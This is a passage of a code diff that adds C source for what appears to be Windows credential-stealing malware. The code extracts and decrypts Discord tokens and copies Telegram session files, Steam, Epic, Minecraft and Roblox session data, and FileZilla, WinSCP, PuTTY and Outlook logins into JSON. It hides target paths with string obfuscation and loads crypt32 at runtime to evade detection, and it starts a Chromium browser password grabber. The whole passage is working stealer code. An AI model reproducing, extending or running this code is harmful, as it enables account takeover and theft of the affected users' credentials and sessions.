{ + BCRYPT_ALG_HANDLE hAlg = NULL; + BCRYPT_KEY_HANDLE hKey = NULL; + int ret = -1; + + if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0) != 0) return -1; + if (BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, + sizeof(BCRYPT_CHAIN_MODE_GCM), 0) != 0) goto cleanup; + if (BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)key, 32, 0) != 0) goto cleanup; + + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; + BCRYPT_INIT_AUTH_MODE_INFO(authInfo); + authInfo.pbNonce = (PUCHAR)nonce; + authInfo.cbNonce = (ULONG)nonce_len; + authInfo.pbTag = (PUCHAR)tag; + authInfo.cbTag = (ULONG)tag_len; + + ULONG ptLen = 0; + if (BCryptDecrypt(hKey, (PUCHAR)ct, (ULONG)ct_len, &authInfo, NULL, 0, + plaintext, (ULONG)ct_len, &ptLen, 0) == 0) + ret = (int)ptLen; + +cleanup: + if (hKey) BCryptDestroyKey(hKey); + if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0); + return ret; +} + +/* Decrypt a "dQw4w9WgXcQ:" encrypted Discord token. + Format after base64 decode: 3-byte prefix (v10/v11) + 12-byte nonce + ciphertext + 16-byte tag */ +static int discord_decrypt_token(const char *enc_token_b64, const uint8_t *master_key, + char *out, size_t out_cap) { + out[0] = '\0'; + size_t b64_len = strlen(enc_token_b64); + uint8_t *raw = (uint8_t *)malloc(b64_len); + if (!raw) return -1; + + size_t raw_len = 0; + b64_decode(enc_token_b64, b64_len, raw, &raw_len); + + /* v10/v11 prefix (3) + nonce (12) + ciphertext (>=1) + tag (16) */ + if (raw_len < 3 + 12 + 16 + 1 || + (memcmp(raw, "v10", 3) != 0 && memcmp(raw, "v11", 3) != 0)) { + free(raw); + return -1; + } + + const uint8_t *nonce = raw + 3; + const uint8_t *ct = raw + 3 + 12; + size_t ct_len = raw_len - 3 - 12 - 16; + const uint8_t *tag = raw + raw_len - 16; + + uint8_t *plain = (uint8_t *)malloc(ct_len + 1); + if (!plain) { free(raw); return -1; } + + int pt_len = discord_aes_gcm_decrypt(master_key, nonce, 12, ct, ct_len, tag, 16, plain); + free(raw); + + if (pt_len < 0) { free(plain); return -1; } + + size_t cplen = (size_t)pt_len; + if (cplen >= out_cap) cplen = out_cap - 1; + memcpy(out, plain, cplen); + out[cplen] = '\0'; + free(plain); + return 0; +} + +/* ── Discord token grabber ─────────────────────────────────────────── */ + +/* Binary-safe memmem (find needle in haystack with explicit lengths) */ +static const uint8_t *bin_find(const uint8_t *hay, size_t hay_len, + const uint8_t *needle, size_t needle_len) { + if (needle_len == 0 || needle_len > hay_len) return NULL; + for (size_t i = 0; i <= hay_len - needle_len; i++) { + if (hay[i] == needle[0] && memcmp(hay + i, needle, needle_len) == 0) + return hay + i; + } + return NULL; +} + +/* Check if char is valid in base64 / Discord token */ +static int is_b64_char(uint8_t c) { + return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || + (c >= '0' && c <= '9') || c == '+' || c == '/' || c == '=' || + c == '-' || c == '_'; +} + +/* Check if char is valid in unencrypted Discord token (base64url + dots) */ +static int is_token_char(uint8_t c) { + return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || + (c >= '0' && c <= '9') || c == '-' || c == '_' || c == '.'; +} + +/* Copy a file to %TEMP% for reading (bypasses file locks). Returns 0 on success. */ +static int copy_file_to_temp(const char *src, char *tmp_path, size_t tmp_cap) { + const char *tmp = getenv("TEMP"); + if (!tmp) tmp = getenv("TMP"); + if (!tmp) return -1; + snprintf(tmp_path, tmp_cap, "%s\\zd_%lu_%lu.tmp", + tmp, (unsigned long)GetCurrentProcessId(), (unsigned long)GetTickCount()); + return CopyFileA(src, tmp_path, FALSE) ? 0 : -1; +} + +static void grab_discord_tokens(json_buf_t *j, json_buf_t *errors) { + jb_begin_arr(j, "discord_tokens"); + + /* Discord stores tokens in LevelDB .ldb and .log files */ + char dp0[64], dp1[64], dp2[64]; + obf_decrypt_to(OBF_DISCORD_LDB, dp0, sizeof(dp0)); + obf_decrypt_to(OBF_DISCORD_CANARY_LDB, dp1, sizeof(dp1)); + obf_decrypt_to(OBF_DISCORD_PTB_LDB, dp2, sizeof(dp2)); + const char *discord_paths[] = { dp0, dp1, dp2 }; + const char *discord_variants[] = { "discord", "discordcanary", "discordptb" }; + + char base[MAX_PATH]; + if (build_path(base, sizeof(base), "APPDATA", "") < 0) { + jb_add_error(errors, "discord", "APPDATA not set"); + jb_end_arr(j); + return; + } + + int total_files_scanned = 0; + int total_tokens_found = 0; + + for (int d = 0; d < 3; d++) { + char variant_dir[MAX_PATH]; + snprintf(variant_dir, sizeof(variant_dir), "%s\\%s", base, discord_variants[d]); + if (!path_exists(variant_dir)) continue; + + /* Extract master key from Local State (DPAPI-protected) */ + uint8_t master_key[32]; + int has_master_key = (discord_extract_master_key(base, discord_variants[d], master_key) == 0); + + if (!has_master_key) { + jb_add_error(errors, discord_variants[d], "discord: no master key (Local State missing or DPAPI fail)"); + } + + /* Scan dirs: Local Storage + Session Storage */ + char scan_dirs[2][MAX_PATH]; + int nscan = 0; + + snprintf(scan_dirs[nscan], sizeof(scan_dirs[nscan]), + "%s\\%s", base, discord_paths[d]); + if (path_exists(scan_dirs[nscan])) nscan++; + + snprintf(scan_dirs[nscan], sizeof(scan_dirs[nscan]), + "%s\\%s\\Session Storage", base, discord_variants[d]); + if (path_exists(scan_dirs[nscan])) nscan++; + + if (nscan == 0) { + jb_add_error(errors, discord_variants[d], "discord: no storage dirs found"); + } + + for (int sd = 0; sd < nscan; sd++) { + const char *dir = scan_dirs[sd]; + char pattern[MAX_PATH]; + snprintf(pattern, sizeof(pattern), "%s\\*", dir); + + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA(pattern, &fd); + if (hFind == INVALID_HANDLE_VALUE) continue; + + do { + const char *ext = strrchr(fd.cFileName, '.'); + if (!ext) continue; + if (_stricmp(ext, ".ldb") != 0 && _stricmp(ext, ".log") != 0) + continue; + + char filepath[MAX_PATH]; + snprintf(filepath, sizeof(filepath), "%s\\%s", dir, fd.cFileName); + + /* Try to read the file. If locked by Discord, copy to temp first. */ + uint8_t *data = NULL; + DWORD bytesRead = 0; + + HANDLE hFile = CreateFileA(filepath, GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, OPEN_EXISTING, 0, NULL); + if (hFile != INVALID_HANDLE_VALUE) { + DWORD fsize = GetFileSize(hFile, NULL); + if (fsize > 0 && fsize <= 10 * 1024 * 1024) { + data = (uint8_t *)malloc(fsize); + if (data) { + if (!ReadFile(hFile, data, fsize, &bytesRead, NULL) || bytesRead == 0) { + free(data); + data = NULL; + } + } + } + CloseHandle(hFile); + } + + /* If direct read failed, try copying to temp */ + if (!data) { + char tmp_path[MAX_PATH]; + if (copy_file_to_temp(filepath, tmp_path, sizeof(tmp_path)) == 0) { + hFile = CreateFileA(tmp_path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (hFile != INVALID_HANDLE_VALUE) { + DWORD fsize = GetFileSize(hFile, NULL); + if (fsize > 0 && fsize <= 10 * 1024 * 1024) { + data = (uint8_t *)malloc(fsize); + if (data) { + if (!ReadFile(hFile, data, fsize, &bytesRead, NULL) || bytesRead == 0) { + free(data); + data = NULL; + } + } + } + CloseHandle(hFile); + } + DeleteFileA(tmp_path); + } + } + + if (!data || bytesRead == 0) continue; + total_files_scanned++; + + /* === Scan 1: Encrypted tokens — binary search for "dQw4w9WgXcQ:" === */ + { + static const uint8_t enc_prefix[] = "dQw4w9WgXcQ:"; + const size_t prefix_len = 12; + const uint8_t *p = data; + const uint8_t *end = data + bytesRead; + + while (p < end) { + const uint8_t *hit = bin_find(p, end - p, enc_prefix, prefix_len); + if (!hit) break; + + /* Extract base64 payload after prefix */ + const uint8_t *payload_start = hit + prefix_len; + const uint8_t *payload_end = payload_start; + while (payload_end < end && is_b64_char(*payload_end)) + payload_end++; + + size_t payload_len = payload_end - payload_start; + if (payload_len >= 20 && payload_len < 500) { + char payload_str[512]; + memcpy(payload_str, payload_start, payload_len); + payload_str[payload_len] = '\0'; + + if (has_master_key) { + char decrypted[256]; + if (discord_decrypt_token(payload_str, master_key, decrypted, sizeof(decrypted)) == 0 && + decrypted[0]) { + jb_begin_obj(j); + jb_kv(j, "source", discord_variants[d]); + jb_kv(j, "token", decrypted); + jb_kv(j, "type", "decrypted"); + jb_end_obj(j); + SecureZeroMemory(decrypted, sizeof(decrypted)); + total_tokens_found++; + } + } else { + /* No master key — store raw encrypted token */ + char raw_tok[520]; + size_t rtlen = (hit - data) + prefix_len + payload_len; + (void)rtlen; + size_t full_len = prefix_len + payload_len; + if (full_len >= sizeof(raw_tok)) full_len = sizeof(raw_tok) - 1; + memcpy(raw_tok, hit, full_len); + raw_tok[full_len] = '\0'; + + jb_begin_obj(j); + jb_kv(j, "source", discord_variants[d]); + jb_kv(j, "token", raw_tok); + jb_kv(j, "type", "encrypted"); + jb_end_obj(j); + total_tokens_found++; + } + } + p = payload_end; + } + } + + /* === Scan 2: MFA tokens — binary search for "mfa." === */ + { + static const uint8_t mfa_prefix[] = "mfa."; + const uint8_t *p = data; + const uint8_t *end = data + bytesRead; + + while (p < end) { + const uint8_t *hit = bin_find(p, end - p, mfa_prefix, 4); + if (!hit) break; + + const uint8_t *tok_start = hit; + const uint8_t *tok_end = hit + 4; + while (tok_end < end && is_token_char(*tok_end)) + tok_end++; + + size_t tlen = tok_end - tok_start; + if (tlen >= 30 && tlen <= 120) { + char token[128]; + if (tlen >= sizeof(token)) tlen = sizeof(token) - 1; + memcpy(token, tok_start, tlen); + token[tlen] = '\0'; + + jb_begin_obj(j); + jb_kv(j, "source", discord_variants[d]); + jb_kv(j, "token", token); + jb_kv(j, "type", "mfa"); + jb_end_obj(j); + total_tokens_found++; + } + p = tok_end; + } + } + + /* === Scan 3: Unencrypted tokens (base64url.base64url.base64url) === */ + { + const uint8_t *p = data; + const uint8_t *end = data + bytesRead; + + while (p < end) { + /* Skip until we find a token-valid character */ + while (p < end && !is_token_char(*p)) p++; + if (p >= end) break; + + const uint8_t *tok_start = p; + while (p < end && is_token_char(*p)) p++; + size_t tlen = p - tok_start; + + /* Discord tokens are 50-100 chars with exactly 2 dots */ + if (tlen >= 50 && tlen <= 110) { + int dots = 0; + for (size_t i = 0; i < tlen; i++) { + if (tok_start[i] == '.') dots++; + } + if (dots == 2) { + /* Verify first segment is valid base64 (user ID) */ + const uint8_t *first_dot = (const uint8_t *)memchr(tok_start, '.', tlen); + size_t seg1_len = first_dot ? (size_t)(first_dot - tok_start) : 0; + if (seg1_len >= 18 && seg1_len <= 30) { + char token[128]; + size_t cplen = tlen; + if (cplen >= sizeof(token)) cplen = sizeof(token) - 1; + memcpy(token, tok_start, cplen); + token[cplen] = '\0'; + + jb_begin_obj(j); + jb_kv(j, "source", discord_variants[d]); + jb_kv(j, "token", token); + jb_kv(j, "type", "regular"); + jb_end_obj(j); + total_tokens_found++; + } + } + } + } + } + + free(data); + } while (FindNextFileA(hFind, &fd)); + + FindClose(hFind); + } /* end for(sd) scan dirs */ + + if (has_master_key) + SecureZeroMemory(master_key, sizeof(master_key)); + } + + /* Token scan summary is not an error — don't log */ + + obf_wipe(dp0, sizeof(dp0)); + obf_wipe(dp1, sizeof(dp1)); + obf_wipe(dp2, sizeof(dp2)); + jb_end_arr(j); +} + +/* ── Telegram tdata extraction ─────────────────────────────────────── */ + +static void grab_telegram(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_obj_named(j, "telegram"); + + char tdata[MAX_PATH]; + if (build_path(tdata, sizeof(tdata), "APPDATA", "Telegram Desktop\\tdata") != 0 || + !path_exists(tdata)) { + jb_kv_bool(j, "found", 0); + jb_kv(j, "path", ""); + jb_end_obj(j); + return; + } + + jb_kv_bool(j, "found", 1); + jb_kv(j, "path", tdata); + jb_begin_arr(j, "files"); + + /* key_datas — primary key file */ + { + char kd_path[MAX_PATH]; + snprintf(kd_path, sizeof(kd_path), "%s\\key_datas", tdata); + char *b64 = read_file_b64(kd_path, APP_FILE_MAX); + if (b64) { + jb_begin_obj(j); + jb_kv(j, "name", "key_datas"); + jb_kv(j, "data", b64); + jb_end_obj(j); + free(b64); + } + } + + /* D877F783D5D3EF8C* — map files (session data) */ + { + char search[MAX_PATH]; + snprintf(search, sizeof(search), "%s\\D877F783D5D3EF8C*", tdata); + + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA(search, &fd); + if (hFind != INVALID_HANDLE_VALUE) { + do { + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue; + if (fd.nFileSizeLow > APP_FILE_MAX) continue; + + char filepath[MAX_PATH]; + snprintf(filepath, sizeof(filepath), "%s\\%s", tdata, fd.cFileName); + + char *b64 = read_file_b64(filepath, APP_FILE_MAX); + if (!b64) continue; + + jb_begin_obj(j); + jb_kv(j, "name", fd.cFileName); + jb_kv(j, "data", b64); + jb_end_obj(j); + free(b64); + } while (FindNextFileA(hFind, &fd)); + FindClose(hFind); + } + } + + jb_end_arr(j); + jb_end_obj(j); +} + +/* ── Steam session stealing ───────────────────────────────────────── */ + +static void grab_steam(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_obj_named(j, "steam"); + + const char *steam_dir = "C:\\Program Files (x86)\\Steam"; + if (!path_exists(steam_dir)) { + jb_kv_bool(j, "found", 0); + jb_end_obj(j); + return; + } + + jb_kv_bool(j, "found", 1); + + /* loginusers.vdf — account names and persona */ + { + char path[MAX_PATH]; + snprintf(path, sizeof(path), "%s\\config\\loginusers.vdf", steam_dir); + char *b64 = read_file_b64(path, APP_FILE_MAX); + if (b64) { + jb_kv(j, "loginusers", b64); + free(b64); + } + } + + /* config.vdf — ConnectCache tokens */ + { + char path[MAX_PATH]; + snprintf(path, sizeof(path), "%s\\config\\config.vdf", steam_dir); + char *b64 = read_file_b64(path, APP_FILE_MAX); + if (b64) { + jb_kv(j, "config", b64); + free(b64); + } + } + + /* ssfn* — auth ticket files */ + { + char search[MAX_PATH]; + snprintf(search, sizeof(search), "%s\\ssfn*", steam_dir); + + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA(search, &fd); + if (hFind != INVALID_HANDLE_VALUE) { + jb_begin_arr(j, "ssfn_files"); + do { + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue; + if (fd.nFileSizeLow > 100 * 1024) continue; /* 100KB cap for ssfn */ + + char filepath[MAX_PATH]; + snprintf(filepath, sizeof(filepath), "%s\\%s", steam_dir, fd.cFileName); + + char *b64 = read_file_b64(filepath, 100 * 1024); + if (!b64) continue; + + jb_begin_obj(j); + jb_kv(j, "name", fd.cFileName); + jb_kv(j, "data", b64); + jb_end_obj(j); + free(b64); + } while (FindNextFileA(hFind, &fd)); + FindClose(hFind); + jb_end_arr(j); + } + } + + jb_end_obj(j); +} + +/* ── Epic Games session ───────────────────────────────────────────── */ + +static void grab_epic(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_obj_named(j, "epic"); + + char path[MAX_PATH]; + if (build_path(path, sizeof(path), "LOCALAPPDATA", + "EpicGamesLauncher\\Saved\\Config\\Windows\\GameUserSettings.ini") == 0 && + path_exists(path)) { + jb_kv_bool(j, "found", 1); + char *b64 = read_file_b64(path, APP_FILE_MAX); + if (b64) { + jb_kv(j, "config", b64); + free(b64); + } + } else { + jb_kv_bool(j, "found", 0); + } + + jb_end_obj(j); +} + +/* ── Minecraft launcher sessions ──────────────────────────────────── */ + +static void grab_minecraft(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_arr(j, "minecraft"); + + char path[MAX_PATH]; + + /* Official launcher */ + if (build_path(path, sizeof(path), "APPDATA", ".minecraft\\launcher_accounts.json") == 0 && + path_exists(path)) { + char *b64 = read_file_b64(path, APP_FILE_MAX); + if (b64) { + jb_begin_obj(j); + jb_kv(j, "launcher", "official"); + jb_kv(j, "data", b64); + jb_end_obj(j); + free(b64); + } + } + + /* Lunar Client */ + if (build_path(path, sizeof(path), "APPDATA", ".lunarclient\\settings\\game\\accounts.json") == 0 && + path_exists(path)) { + char *b64 = read_file_b64(path, APP_FILE_MAX); + if (b64) { + jb_begin_obj(j); + jb_kv(j, "launcher", "lunar"); + jb_kv(j, "data", b64); + jb_end_obj(j); + free(b64); + } + } + + /* Badlion Client */ + if (build_path(path, sizeof(path), "APPDATA", "Badlion Client\\accounts.json") == 0 && + path_exists(path)) { + char *b64 = read_file_b64(path, APP_FILE_MAX); + if (b64) { + jb_begin_obj(j); + jb_kv(j, "launcher", "badlion"); + jb_kv(j, "data", b64); + jb_end_obj(j); + free(b64); + } + } + + jb_end_arr(j); +} + +/* ── Roblox cookie extraction ─────────────────────────────────────── */ + +static void grab_roblox(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_obj_named(j, "roblox"); + + int found = 0; + + /* Method 1: Registry — .ROBLOSECURITY cookie */ + { + HKEY hKey; + if (RegOpenKeyExA(HKEY_CURRENT_USER, + "Software\\Roblox\\RobloxStudioBrowser\\roblox.com", + 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + char value[4096] = ""; + DWORD vsize = sizeof(value); + if (RegQueryValueExA(hKey, ".ROBLOSECURITY", NULL, NULL, + (BYTE *)value, &vsize) == ERROR_SUCCESS && value[0]) { + jb_kv(j, "cookie", value); + found = 1; + } + RegCloseKey(hKey); + } + } + + /* Method 2: Local storage file */ + if (!found) { + char path[MAX_PATH]; + if (build_path(path, sizeof(path), "LOCALAPPDATA", + "Roblox\\LocalStorage\\RobloxCookies.dat") == 0 && + path_exists(path)) { + char *b64 = read_file_b64(path, APP_FILE_MAX); + if (b64) { + jb_kv(j, "cookie_file", b64); + found = 1; + free(b64); + } + } + } + + jb_kv_bool(j, "found", found); + jb_end_obj(j); +} + +/* ── FileZilla ─────────────────────────────────────────────────────── */ + +/* Simple XML tag value extractor — returns malloc'd string or NULL */ +static char *xml_tag_value(const char *xml, const char *tag) { + char open[128], close[128]; + snprintf(open, sizeof(open), "<%s>", tag); + snprintf(close, sizeof(close), "", tag); + + const char *start = strstr(xml, open); + if (!start) return NULL; + start += strlen(open); + + const char *end = strstr(start, close); + if (!end) return NULL; + + size_t vlen = end - start; + char *val = (char *)malloc(vlen + 1); + if (!val) return NULL; + memcpy(val, start, vlen); + val[vlen] = '\0'; + return val; +} + +static void parse_filezilla_xml(json_buf_t *j, const char *path) { + HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) return; + + DWORD fsize = GetFileSize(hFile, NULL); + if (fsize == 0 || fsize > 2 * 1024 * 1024) { + CloseHandle(hFile); + return; + } + + char *data = (char *)malloc(fsize + 1); + if (!data) { CloseHandle(hFile); return; } + + DWORD bytesRead; + ReadFile(hFile, data, fsize, &bytesRead, NULL); + CloseHandle(hFile); + data[bytesRead] = '\0'; + + /* Find each block */ + const char *p = data; + while ((p = strstr(p, "")) != NULL) { + const char *block_end = strstr(p, ""); + if (!block_end) break; + + /* Extract a temporary block */ + size_t blen = block_end - p + 9; + char *block = (char *)malloc(blen + 1); + if (!block) { p = block_end; continue; } + memcpy(block, p, blen); + block[blen] = '\0'; + + char *host = xml_tag_value(block, "Host"); + char *port_s = xml_tag_value(block, "Port"); + char *user = xml_tag_value(block, "User"); + char *pass = xml_tag_value(block, "Pass"); + + if (host) { + jb_begin_obj(j); + jb_kv(j, "host", host); + jb_kv_int(j, "port", port_s ? atoi(port_s) : 21); + jb_kv(j, "user", user ? user : ""); + jb_kv(j, "password", pass ? pass : ""); + jb_end_obj(j); + } + + free(host); free(port_s); free(user); free(pass); free(block); + p = block_end + 9; + } + + free(data); +} + +static void grab_filezilla(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_arr(j, "filezilla"); + + char path[MAX_PATH]; + if (build_path(path, sizeof(path), "APPDATA", "FileZilla\\recentservers.xml") == 0) + parse_filezilla_xml(j, path); + if (build_path(path, sizeof(path), "APPDATA", "FileZilla\\sitemanager.xml") == 0) + parse_filezilla_xml(j, path); + + jb_end_arr(j); +} + +/* ── WinSCP ────────────────────────────────────────────────────────── */ + +static void grab_winscp(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_arr(j, "winscp"); + + HKEY hSessions; + if (RegOpenKeyExA(HKEY_CURRENT_USER, + "SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions", + 0, KEY_READ, &hSessions) != ERROR_SUCCESS) { + jb_end_arr(j); + return; + } + + char subkey[256]; + DWORD idx = 0; + DWORD subkey_len; + + while (1) { + subkey_len = sizeof(subkey); + if (RegEnumKeyExA(hSessions, idx++, subkey, &subkey_len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) + break; + + HKEY hSession; + if (RegOpenKeyExA(hSessions, subkey, 0, KEY_READ, &hSession) != ERROR_SUCCESS) + continue; + + char hostname[256] = "", username[256] = "", password[256] = ""; + DWORD vsize; + + vsize = sizeof(hostname); + RegQueryValueExA(hSession, "HostName", NULL, NULL, (BYTE *)hostname, &vsize); + vsize = sizeof(username); + RegQueryValueExA(hSession, "UserName", NULL, NULL, (BYTE *)username, &vsize); + vsize = sizeof(password); + RegQueryValueExA(hSession, "Password", NULL, NULL, (BYTE *)password, &vsize); + + RegCloseKey(hSession); + + if (hostname[0]) { + jb_begin_obj(j); + jb_kv(j, "session", subkey); + jb_kv(j, "host", hostname); + jb_kv(j, "user", username); + jb_kv(j, "password", password); + jb_end_obj(j); + } + } + + RegCloseKey(hSessions); + jb_end_arr(j); +} + +/* ── PuTTY ─────────────────────────────────────────────────────────── */ + +static void grab_putty(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_arr(j, "putty"); + + HKEY hSessions; + char putty_path[64]; + obf_decrypt_to(OBF_REG_PUTTY, putty_path, sizeof(putty_path)); + if (RegOpenKeyExA(HKEY_CURRENT_USER, putty_path, 0, + KEY_READ, &hSessions) != ERROR_SUCCESS) { + obf_wipe(putty_path, sizeof(putty_path)); + jb_end_arr(j); + return; + } + obf_wipe(putty_path, sizeof(putty_path)); + + char subkey[256]; + DWORD idx = 0; + DWORD subkey_len; + + while (1) { + subkey_len = sizeof(subkey); + if (RegEnumKeyExA(hSessions, idx++, subkey, &subkey_len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) + break; + + HKEY hSession; + if (RegOpenKeyExA(hSessions, subkey, 0, KEY_READ, &hSession) != ERROR_SUCCESS) + continue; + + char hostname[256] = "", username[256] = ""; + DWORD port = 0; + DWORD vsize; + + vsize = sizeof(hostname); + RegQueryValueExA(hSession, "HostName", NULL, NULL, (BYTE *)hostname, &vsize); + vsize = sizeof(username); + RegQueryValueExA(hSession, "UserName", NULL, NULL, (BYTE *)username, &vsize); + vsize = sizeof(port); + RegQueryValueExA(hSession, "PortNumber", NULL, NULL, (BYTE *)&port, &vsize); + + RegCloseKey(hSession); + + if (hostname[0]) { + jb_begin_obj(j); + jb_kv(j, "session", subkey); + jb_kv(j, "host", hostname); + jb_kv_int(j, "port", (int)port); + jb_kv(j, "user", username); + jb_end_obj(j); + } + } + + RegCloseKey(hSessions); + jb_end_arr(j); +} + +/* ── Outlook ───────────────────────────────────────────────────────── */ + +static void grab_outlook(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_arr(j, "outlook"); + + /* Try Outlook 16.0 (Office 2016+) profiles */ + HKEY hProfiles; + if (RegOpenKeyExA(HKEY_CURRENT_USER, + "SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles", + 0, KEY_READ, &hProfiles) != ERROR_SUCCESS) { + /* Try older versions */ + if (RegOpenKeyExA(HKEY_CURRENT_USER, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles", + 0, KEY_READ, &hProfiles) != ERROR_SUCCESS) { + jb_end_arr(j); + return; + } + } + + char profile_name[256]; + DWORD pidx = 0; + DWORD pname_len; + + while (1) { + pname_len = sizeof(profile_name); + if (RegEnumKeyExA(hProfiles, pidx++, profile_name, &pname_len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) + break; + + /* Each profile has sub-keys for accounts */ + HKEY hProfile; + if (RegOpenKeyExA(hProfiles, profile_name, 0, KEY_READ, &hProfile) != ERROR_SUCCESS) + continue; + + /* Enumerate account sub-keys */ + char acct_key[256]; + DWORD aidx = 0; + DWORD aname_len; + + while (1) { + aname_len = sizeof(acct_key); + if (RegEnumKeyExA(hProfile, aidx++, acct_key, &aname_len, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) + break; + + HKEY hAcct; + if (RegOpenKeyExA(hProfile, acct_key, 0, KEY_READ, &hAcct) != ERROR_SUCCESS) + continue; + + char email[256] = "", server[256] = ""; + BYTE pass_blob[512]; + DWORD vsize, vtype; + + vsize = sizeof(email); + RegQueryValueExA(hAcct, "Email", NULL, NULL, (BYTE *)email, &vsize); + if (!email[0]) { + vsize = sizeof(email); + RegQueryValueExA(hAcct, "Account Name", NULL, NULL, (BYTE *)email, &vsize); + } + + vsize = sizeof(server); + RegQueryValueExA(hAcct, "POP3 Server", NULL, NULL, (BYTE *)server, &vsize); + if (!server[0]) { + vsize = sizeof(server); + RegQueryValueExA(hAcct, "IMAP Server", NULL, NULL, (BYTE *)server, &vsize); + } + if (!server[0]) { + vsize = sizeof(server); + RegQueryValueExA(hAcct, "SMTP Server", NULL, NULL, (BYTE *)server, &vsize); + } + + /* Password is stored as encrypted binary blob */ + char password[256] = ""; + vsize = sizeof(pass_blob); + vtype = 0; + if (RegQueryValueExA(hAcct, "POP3 Password", NULL, &vtype, pass_blob, &vsize) == ERROR_SUCCESS || + RegQueryValueExA(hAcct, "IMAP Password", NULL, &vtype, pass_blob, &vsize) == ERROR_SUCCESS || + RegQueryValueExA(hAcct, "SMTP Password", NULL, &vtype, pass_blob, &vsize) == ERROR_SUCCESS) { + /* Try DPAPI decrypt */ + if (load_crypt32_apps() == 0) { + DATA_BLOB in_blob, out_blob; + in_blob.pbData = pass_blob; + in_blob.cbData = vsize; + if (pfn_CryptUnprotectData_apps(&in_blob, NULL, NULL, NULL, NULL, 0, &out_blob)) { + size_t cplen = out_blob.cbData; + if (cplen >= sizeof(password)) cplen = sizeof(password) - 1; + memcpy(password, out_blob.pbData, cplen); + password[cplen] = '\0'; + LocalFree(out_blob.pbData); + } + } + } + + RegCloseKey(hAcct); + + if (email[0] || server[0]) { + jb_begin_obj(j); + jb_kv(j, "profile", profile_name); + jb_kv(j, "account", email); + jb_kv(j, "server", server); + jb_kv(j, "password", password); + jb_end_obj(j); + } + } + + RegCloseKey(hProfile); + } + + RegCloseKey(hProfiles); + jb_end_arr(j); +} + +/* ── Public interface ──────────────────────────────────────────────── */ + +void creds_grab_apps(json_buf_t *j, json_buf_t *errors) { + grab_discord_tokens(j, errors); + grab_telegram(j, errors); + grab_filezilla(j, errors); + grab_winscp(j, errors); + grab_putty(j, errors); + grab_outlook(j, errors); + grab_steam(j, errors); + grab_epic(j, errors); + grab_minecraft(j, errors); + grab_roblox(j, errors); +} diff --git a/src/commands/creds_chromium.c b/src/commands/creds_chromium.c new file mode 100755 index 0000000..7a35f60 --- /dev/null +++ b/src/commands/creds_chromium.c @@ -0,0 +1,1046 @@ +#include "zerin.h" +#include "commands/creds_json.h" +#include +#include +#include +#include +#include +#include +#include + +/* ── Runtime-loaded crypt32.dll (keep out of IAT) ─────────────────── */ + +typedef BOOL (WINAPI *PFN_CryptUnprotectData)(DATA_BLOB*,LPWSTR*,DATA_BLOB*,PVOID,CRYPTPROTECT_PROMPTSTRUCT*,DWORD,DATA_BLOB*); +static HMODULE g_crypt32; +static PFN_CryptUnprotectData pfn_CryptUnprotectData; + +static int load_crypt32(void) { + if (g_crypt32) return 0; + g_crypt32 = LoadLibraryA("crypt32.dll"); + if (!g_crypt32) return -1; + pfn_CryptUnprotectData = (PFN_CryptUnprotectData)GetProcAddress(g_crypt32, "CryptUnprotectData"); + return pfn_CryptUnprotectData ? 0 : -1; +} + +/* Embedded SQLite — single-file amalgamation */ +#include "sqlite3.h" + +/* ── Chromium credential grabber ─────────────────────────────────────── + Supports Chrome, Edge, Brave, Opera. + 1. Reads master encryption key from "Local State" (DPAPI-protected) + 2. Copies locked DB files to %TEMP% to avoid lock conflicts + 3. Decrypts v80+ passwords using AES-256-GCM via Windows CNG (BCrypt) */ + +/* ── Browser profiles ──────────────────────────────────────────────── */ + +typedef struct { + const char *name; + const char *local_state_env; /* LOCALAPPDATA or APPDATA */ + const char *profile_subpath; +} browser_profile_t; + +static char _bp_chrome[64], _bp_edge[64], _bp_brave[64], _bp_opera[64], _bp_vivaldi[64]; +static browser_profile_t browsers[6]; +static int _bp_init = 0; + +static void init_browser_profiles(void) { + if (_bp_init) return; + obf_decrypt_to(OBF_CHROME_USERDATA, _bp_chrome, sizeof(_bp_chrome)); + obf_decrypt_to(OBF_EDGE_USERDATA, _bp_edge, sizeof(_bp_edge)); + obf_decrypt_to(OBF_BRAVE_USERDATA, _bp_brave, sizeof(_bp_brave)); + obf_decrypt_to(OBF_OPERA_USERDATA, _bp_opera, sizeof(_bp_opera)); + obf_decrypt_to(OBF_VIVALDI_USERDATA, _bp_vivaldi, sizeof(_bp_vivaldi)); + browsers[0] = (browser_profile_t){ "Chrome", "LOCALAPPDATA", 